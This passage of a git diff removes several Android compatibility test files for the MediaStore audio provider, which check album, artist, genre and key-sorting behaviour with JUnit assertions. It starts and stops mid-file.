-            mContext.getContentResolver().delete(mUri, null, null);
-        }
-
-        @Override
-        public void close() {
-            // No resources to close, but at least we can inform people that no
-            // progress is being actively made.
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
deleted file mode 100644
index a29b93d..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore.Audio;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@Presubmit
-@RunWith(AndroidJUnit4.class)
-public class MediaStore_AudioTest {
-    private String mKeyForBeatles;
-
-    @Before
-    public void setUp() throws Exception {
-        mKeyForBeatles = Audio.keyFor("beatles");
-    }
-
-    @Test
-    public void testKeyFor() {
-        assertEquals(mKeyForBeatles, Audio.keyFor("[beatles]"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("(beatles)"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles!"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles?"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("'beatles'"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles."));
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles,"));
-
-        assertEquals(mKeyForBeatles, Audio.keyFor("  beatles  "));
-
-        assertEquals(mKeyForBeatles, Audio.keyFor("BEATLES"));
-
-        assertEquals(mKeyForBeatles, Audio.keyFor("the beatles"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("a beatles"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("an beatles"));
-
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles,the"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles,a"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles,an"));
-
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles, the"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles, a"));
-        assertEquals(mKeyForBeatles, Audio.keyFor("beatles, an"));
-
-        // test sorting
-        assertTrue(Audio.keyFor("areosmith").compareTo(mKeyForBeatles) < 0);
-        assertTrue(Audio.keyFor("coldplay").compareTo(mKeyForBeatles) > 0);
-
-        // test accented characters
-        assertTrue(Audio.keyFor("¿Cómo esto funciona?").compareTo(mKeyForBeatles) < 0);
-        assertTrue(Audio.keyFor("Le passé composé").compareTo(mKeyForBeatles) > 0);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
deleted file mode 100644
index 9d17b40..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
+++ /dev/null
@@ -1,231 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.BitmapFactory;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Albums;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.IOException;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_AlbumsTest {
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(
-                Albums.getContentUri(mVolumeName), null, null,
-                null, null));
-        c.close();
-    }
-
-    @Test
-    public void testStoreAudioAlbums() {
-        // do not support direct insert operation of the albums
-        Uri audioAlbumsUri = Albums.getContentUri(mVolumeName);
-        try {
-            mContentResolver.insert(audioAlbumsUri, new ContentValues());
-            fail("Should throw UnsupportedOperationException!");
-        } catch (UnsupportedOperationException e) {
-            // expected
-        }
-
-        // the album item is inserted when inserting audio media
-        Audio1 audio1 = Audio1.getInstance();
-        Uri audioMediaUri = audio1.insert(mContentResolver, mVolumeName);
-
-        String selection = Albums.ALBUM +"=?";
-        String[] selectionArgs = new String[] { Audio1.ALBUM };
-        try {
-            // query
-            Cursor c = mContentResolver.query(audioAlbumsUri, null, selection, selectionArgs,
-                    null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            long id = c.getLong(c.getColumnIndex(Albums._ID));
-            assertTrue(id > 0);
-            assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
-            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
-            assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
-            assertNotNull(c.getString(c.getColumnIndex(Albums.ALBUM_KEY)));
-            assertFalse(c.isNull(c.getColumnIndex(Albums.ARTIST_ID)));
-            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Albums.ARTIST)));
-            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.FIRST_YEAR)));
-            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.LAST_YEAR)));
-            assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS)));
-            c.close();
-
-            // do not support update operation of the albums
-            ContentValues albumValues = new ContentValues();
-            albumValues.put(Albums.ALBUM, Audio2.ALBUM);
-            try {
-                mContentResolver.update(audioAlbumsUri, albumValues, selection, selectionArgs);
-                fail("Should throw UnsupportedOperationException!");
-            } catch (UnsupportedOperationException e) {
-                // expected
-            }
-
-            // do not support delete operation of the albums
-            try {
-                mContentResolver.delete(audioAlbumsUri, selection, selectionArgs);
-                fail("Should throw UnsupportedOperationException!");
-            } catch (UnsupportedOperationException e) {
-                // expected
-            }
-
-            // test filtering
-            Uri filterUri = audioAlbumsUri.buildUpon()
-                .appendQueryParameter("filter", Audio1.ARTIST).build();
-            c = mContentResolver.query(filterUri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            long fid = c.getLong(c.getColumnIndex(Albums._ID));
-            assertTrue(id == fid);
-            c.close();
-
-            filterUri = audioAlbumsUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
-            c = mContentResolver.query(filterUri, null, null, null, null);
-            assertEquals(0, c.getCount());
-            c.close();
-        } finally {
-            mContentResolver.delete(audioMediaUri, null, null);
-        }
-        // the album items are deleted when deleting the audio media which belongs to the album
-        Cursor c = mContentResolver.query(audioAlbumsUri, null, selection, selectionArgs, null);
-        assertEquals(0, c.getCount());
-        c.close();
-    }
-
-    @Test
-    public void testAlbumArt() throws Exception {
-        final File dir = ProviderTestUtils.stageDir(mVolumeName);
-        final File path = new File(dir, "test" + System.currentTimeMillis() + ".mp3");
-        try {
-            ProviderTestUtils.stageFile(R.raw.testmp3, path);
-
-            ContentValues v = new ContentValues();
-            v.put(Media.DATA, path.getAbsolutePath());
-            v.put(Media.TITLE, "testing");
-            v.put(Albums.ALBUM, "test" + System.currentTimeMillis());
-
-            final Uri mediaUri = mContentResolver
-                    .insert(MediaStore.Audio.Media.getContentUri(mVolumeName), v);
-            final long mediaId = ContentUris.parseId(mediaUri);
-
-            final long albumId;
-            try (Cursor c = mContentResolver.query(mediaUri, null, null, null, null)) {
-                assertTrue(c.moveToFirst());
-                albumId = c.getLong(c.getColumnIndex(Albums.ALBUM_ID));
-            }
-
-            final Uri albumUri = ContentUris
-                    .withAppendedId(MediaStore.Audio.Albums.getContentUri(mVolumeName), albumId);
-
-            // Verify that normal thumbnails work
-            assertNotNull(mContentResolver.loadThumbnail(mediaUri, new Size(32, 32), null));
-            assertNotNull(mContentResolver.loadThumbnail(albumUri, new Size(32, 32), null));
-
-            // Verify that hidden APIs still work to obtain album art
-            final Uri byMedia = MediaStore.AUTHORITY_URI.buildUpon().appendPath(mVolumeName)
-                    .appendPath("audio").appendPath("media")
-                    .appendPath(Long.toString(mediaId)).appendPath("albumart").build();
-            final Uri byAlbum = MediaStore.AUTHORITY_URI.buildUpon().appendPath(mVolumeName)
-                    .appendPath("audio").appendPath("albumart")
-                    .appendPath(Long.toString(albumId)).build();
-            assertNotNull(BitmapFactory.decodeStream(mContentResolver.openInputStream(byMedia)));
-            assertNotNull(BitmapFactory.decodeStream(mContentResolver.openInputStream(byAlbum)));
-
-            // Delete item and confirm art is cleaned up
-            mContentResolver.delete(mediaUri, null, null);
-
-            try {
-                mContentResolver.loadThumbnail(mediaUri, new Size(32, 32), null);
-                fail();
-            } catch (IOException expected) {
-            }
-            try {
-                mContentResolver.loadThumbnail(albumUri, new Size(32, 32), null);
-                fail();
-            } catch (IOException expected) {
-            }
-            try {
-                BitmapFactory.decodeStream(mContentResolver.openInputStream(byMedia));
-                fail();
-            } catch (IOException expected) {
-            }
-            try {
-                BitmapFactory.decodeStream(mContentResolver.openInputStream(byAlbum));
-                fail();
-            } catch (IOException expected) {
-            }
-
-        } finally {
-            path.delete();
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
deleted file mode 100644
index 5caefc5..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore.Audio.Artists;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_ArtistsTest {
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(
-                Artists.getContentUri(mVolumeName), null, null,
-                null, null));
-        c.close();
-    }
-
-    @Test
-    public void testStoreAudioArtists() {
-        Uri artistsUri = Artists.getContentUri(mVolumeName);
-        // do not support insert operation of the artists
-        try {
-            mContentResolver.insert(artistsUri, new ContentValues());
-            fail("Should throw UnsupportedOperationException!");
-        } catch (UnsupportedOperationException e) {
-            // expected
-        }
-        // the artist items are inserted when inserting audio media
-        Uri uri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
-
-        String selection = Artists.ARTIST + "=?";
-        String[] selectionArgs = new String[] { Audio1.ARTIST };
-        try {
-            // query
-            Cursor c = mContentResolver.query(artistsUri, null, selection, selectionArgs, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-
-            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Artists.ARTIST)));
-            long id = c.getLong(c.getColumnIndex(Artists._ID));
-            assertTrue(id > 0);
-            assertNotNull(c.getString(c.getColumnIndex(Artists.ARTIST_KEY)));
-            assertEquals(1, c.getInt(c.getColumnIndex(Artists.NUMBER_OF_ALBUMS)));
-            assertEquals(1, c.getInt(c.getColumnIndex(Artists.NUMBER_OF_TRACKS)));
-            c.close();
-
-            // do not support update operation of the artists
-            ContentValues artistValues = new ContentValues();
-            artistValues.put(Artists.ARTIST, Audio2.ALBUM);
-            try {
-                mContentResolver.update(artistsUri, artistValues, selection, selectionArgs);
-                fail("Should throw UnsupportedOperationException!");
-            } catch (UnsupportedOperationException e) {
-                // expected
-            }
-
-            // do not support delete operation of the artists
-            try {
-                mContentResolver.delete(artistsUri, selection, selectionArgs);
-                fail("Should throw UnsupportedOperationException!");
-            } catch (UnsupportedOperationException e) {
-                // expected
-            }
-
-            // test filtering
-            Uri filterUri = artistsUri.buildUpon()
-                .appendQueryParameter("filter", Audio1.ARTIST).build();
-            c = mContentResolver.query(filterUri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            long fid = c.getLong(c.getColumnIndex(Artists._ID));
-            assertTrue(id == fid);
-            c.close();
-
-            filterUri = artistsUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
-            c = mContentResolver.query(filterUri, null, null, null, null);
-            assertEquals(0, c.getCount());
-            c.close();
-        } finally {
-            mContentResolver.delete(uri, null, null);
-        }
-        // the artist items are deleted when deleting the audio media which belongs to the album
-        Cursor c = mContentResolver.query(artistsUri, null, selection, selectionArgs, null);
-        assertEquals(0, c.getCount());
-        c.close();
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
deleted file mode 100644
index 5a28865..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Artists.Albums;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_Artists_AlbumsTest {
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        Uri contentUri = MediaStore.Audio.Artists.Albums.getContentUri(mVolumeName, 1);
-        assertNotNull(c = mContentResolver.query(contentUri, null, null, null, null));
-        c.close();
-    }
-
-    @Test
-    public void testStoreAudioArtistsAlbums() {
-        // the album item is inserted when inserting audio media
-        Uri audioMediaUri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
-        // get artist id
-        Cursor c = mContentResolver.query(audioMediaUri, new String[] { Media.ARTIST_ID }, null,
-                null, null);
-        c.moveToFirst();
-        Long artistId = c.getLong(c.getColumnIndex(Media.ARTIST_ID));
-        c.close();
-        Uri artistsAlbumsUri = MediaStore.Audio.Artists.Albums.getContentUri(mVolumeName, artistId);
-        // do not support insert operation of the albums
-        try {
-            mContentResolver.insert(artistsAlbumsUri, new ContentValues());
-            fail("Should throw UnsupportedOperationException!");
-        } catch (UnsupportedOperationException e) {
-            // expected
-        }
-
-        try {
-            // query
-            c = mContentResolver.query(artistsAlbumsUri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-
-            assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
-            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
-            assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
-            assertNotNull(c.getString(c.getColumnIndex(Albums.ALBUM_KEY)));
-            assertFalse(c.isNull(c.getColumnIndex(Albums.ARTIST_ID)));
-            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Albums.ARTIST)));
-            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.FIRST_YEAR)));
-            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.LAST_YEAR)));
-            assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS)));
-            assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS_FOR_ARTIST)));
-            c.close();
-
-            // do not support update operation of the albums
-            ContentValues albumValues = new ContentValues();
-            albumValues.put(Albums.ALBUM, Audio2.ALBUM);
-            try {
-                mContentResolver.update(artistsAlbumsUri, albumValues, null, null);
-                fail("Should throw UnsupportedOperationException!");
-            } catch (UnsupportedOperationException e) {
-                // expected
-            }
-
-            // do not support delete operation of the albums
-            try {
-                mContentResolver.delete(artistsAlbumsUri, null, null);
-                fail("Should throw UnsupportedOperationException!");
-            } catch (UnsupportedOperationException e) {
-                // expected
-            }
-        } finally {
-            mContentResolver.delete(audioMediaUri, null, null);
-        }
-        // the album items are deleted when deleting the audio media which belongs to the album
-        c = mContentResolver.query(artistsAlbumsUri, null, null, null, null);
-        assertEquals(0, c.getCount());
-        c.close();
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
deleted file mode 100644
index 64ed537..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.database.SQLException;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore.Audio.Genres;
-import android.provider.MediaStore.Audio.Genres.Members;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_GenresTest {
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(
-                Genres.getContentUri(mVolumeName), null, null,
-                    null, null));
-        c.close();
-    }
-
-    @Test
-    public void testStoreAudioGenresExternal() {
-        // insert
-        ContentValues values = new ContentValues();
-        values.put(Genres.NAME, "POP");
-        Uri uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
-        assertNotNull(uri);
-
-        try {
-            // query
-            Cursor c = mContentResolver.query(uri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            assertEquals("POP", c.getString(c.getColumnIndex(Genres.NAME)));
-            assertTrue(c.getLong(c.getColumnIndex(Genres._ID)) > 0);
-            c.close();
-        } finally {
-            assertEquals(1, mContentResolver.delete(uri, null, null));
-        }
-    }
-
-    @Test
-    public void testGetContentUriForAudioId() {
-        // Insert an audio file into the content provider.
-        Uri audioUri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
-        assertNotNull(audioUri);
-        long audioId = ContentUris.parseId(audioUri);
-        assertTrue(audioId != -1);
-
-        // Insert a genre into the content provider.
-        ContentValues values = new ContentValues();
-        values.put(Genres.NAME, "Soda Pop");
-        Uri genreUri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
-        assertNotNull(genreUri);
-        long genreId = ContentUris.parseId(genreUri);
-        assertTrue(genreId != -1);
-
-        Cursor cursor = null;
-        try {
-            // Check that the audio file has no genres yet.
-            Uri audioGenresUri = Genres.getContentUriForAudioId(mVolumeName, (int) audioId);
-            cursor = mContentResolver.query(audioGenresUri, null, null, null, null);
-            assertFalse(cursor.moveToNext());
-
-            // Link the audio file to the genre.
-            values.clear();
-            values.put(Members.AUDIO_ID, audioId);
-            Uri membersUri = Members.getContentUri(mVolumeName, genreId);
-            assertNotNull(mContentResolver.insert(membersUri, values));
-
-            // Check that the audio file has the genre it was linked to.
-            cursor = mContentResolver.query(audioGenresUri, null, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(genreId, cursor.getLong(cursor.getColumnIndex(Genres._ID)));
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-            assertEquals(1, mContentResolver.delete(audioUri, null, null));
-            assertEquals(1, mContentResolver.delete(genreUri, null, null));
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
deleted file mode 100644
index 710ebbc..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
+++ /dev/null
@@ -1,318 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.database.SQLException;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Genres;
-import android.provider.MediaStore.Audio.Genres.Members;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_Genres_MembersTest {
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    private long mAudioIdOfJam;
-
-    private long mAudioIdOfJamLive;
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-
-        Uri uri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
-        Cursor c = mContentResolver.query(uri, null, null, null, null);
-        c.moveToFirst();
-        mAudioIdOfJam = c.getLong(c.getColumnIndex(Media._ID));
-        c.close();
-
-        uri = Audio2.getInstance().insert(mContentResolver, mVolumeName);
-        c = mContentResolver.query(uri, null, null, null, null);
-        c.moveToFirst();
-        mAudioIdOfJamLive = c.getLong(c.getColumnIndex(Media._ID));
-        c.close();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        // "jam" should already have been deleted as part of the test, but delete it again just
-        // in case the test failed and aborted before that.
-        mContentResolver.delete(Media.getContentUri(mVolumeName),
-                Media._ID + "=" + mAudioIdOfJam, null);
-        mContentResolver.delete(Media.getContentUri(mVolumeName),
-                Media._ID + "=" + mAudioIdOfJamLive, null);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(
-                Members.getContentUri(mVolumeName, 1), null,
-                    null, null, null));
-        c.close();
-    }
-
-    @Test
-    public void testStoreAudioGenresMembersExternal() {
-        ContentValues values = new ContentValues();
-        values.put(Genres.NAME, Audio1.GENRE);
-        Uri uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
-        Cursor c = mContentResolver.query(uri, null, null, null, null);
-        c.moveToFirst();
-
-        long genreId = c.getLong(c.getColumnIndex(Genres._ID));
-        long genre2Id = -1; // used later
-        c.close();
-
-        // verify that the Uri has the correct format and genre value
-        assertEquals(ContentUris.withAppendedId(Genres.getContentUri(mVolumeName), genreId),
-                uri);
-
-        // insert audio as the member of the genre
-        values.clear();
-        values.put(Members.AUDIO_ID, mAudioIdOfJam);
